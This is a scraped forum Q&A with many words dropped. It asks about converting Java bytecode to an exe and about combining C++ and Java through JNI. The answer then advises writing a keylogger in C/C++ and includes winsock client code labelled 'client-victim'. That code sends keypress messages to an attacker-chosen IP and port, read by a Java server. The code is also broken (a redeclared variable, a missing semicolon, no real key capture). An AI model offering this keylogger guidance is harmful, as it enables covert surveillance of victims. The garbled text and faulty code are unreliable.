Java bytecode to exe and combing c++ and java -


i have read many articles , posts im still confused how make/convert bytecode exe can run on standalone machine withour jre,jvm or other kind of thing.

what combining c++ , java program means?

and if it's possible combine c++ , java program , how so?

bytecode exe can run on standalone machine: don't think can done. java assembly differs in architecture x86 assembly. maybe can go java source code .exe.

combining c++ , java program done via jni. write c++ dll using specific library convert between java , c datatypes, , call dll java code.

combine c++ , java program , how so: http://www.ibm.com/developerworks/java/tutorials/j-jni/section2.html

best way want: in c++. keylogger uses native system calls key state, it's better if it's written in c/c++, learn winsock c++ send data. victim client, , server http://www.binarytides.com/winsock-socket-programming-tutorial/ see "sending data" section.

here sample code client-victim:

#include<stdio.h> #include<winsock2.h>  #pragma comment(lib,"ws2_32.lib") //winsock library  int main(int argc , char *argv[]) {     wsadata wsa;     socket s;     struct sockaddr_in server;     char *message;      printf("\ninitialising winsock...");     if (wsastartup(makeword(2,2),&wsa) != 0)     {         printf("failed. error code : %d",wsagetlasterror());         return 1;     }      printf("initialised.\n");      //create socket     if((s = socket(af_inet , sock_stream , 0 )) == invalid_socket)     {         printf("could not create socket : %d" , wsagetlasterror());     }      printf("socket created.\n");       server.sin_addr.s_addr = inet_addr("74.125.235.20"); //your ip here     server.sin_family = af_inet;     server.sin_port = htons( 80 );  //your port here      //connect remote server     if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)     {         puts("connect error");         return 1;     }      puts("connected");      //send data     char message[128];            while(true){          //check if key pressed         strcpy(message, "keypressed!");         send(s , message , strlen(message) , 0)     }     closesocket(s);     wsacleanup();     return 0; } 

write server program in java.


Comments

Popular posts from this blog

blackberry 10 - how to add multiple markers on the google map just by url? -

php - guestbook returning database data to flash -

delphi - Dynamic file type icon -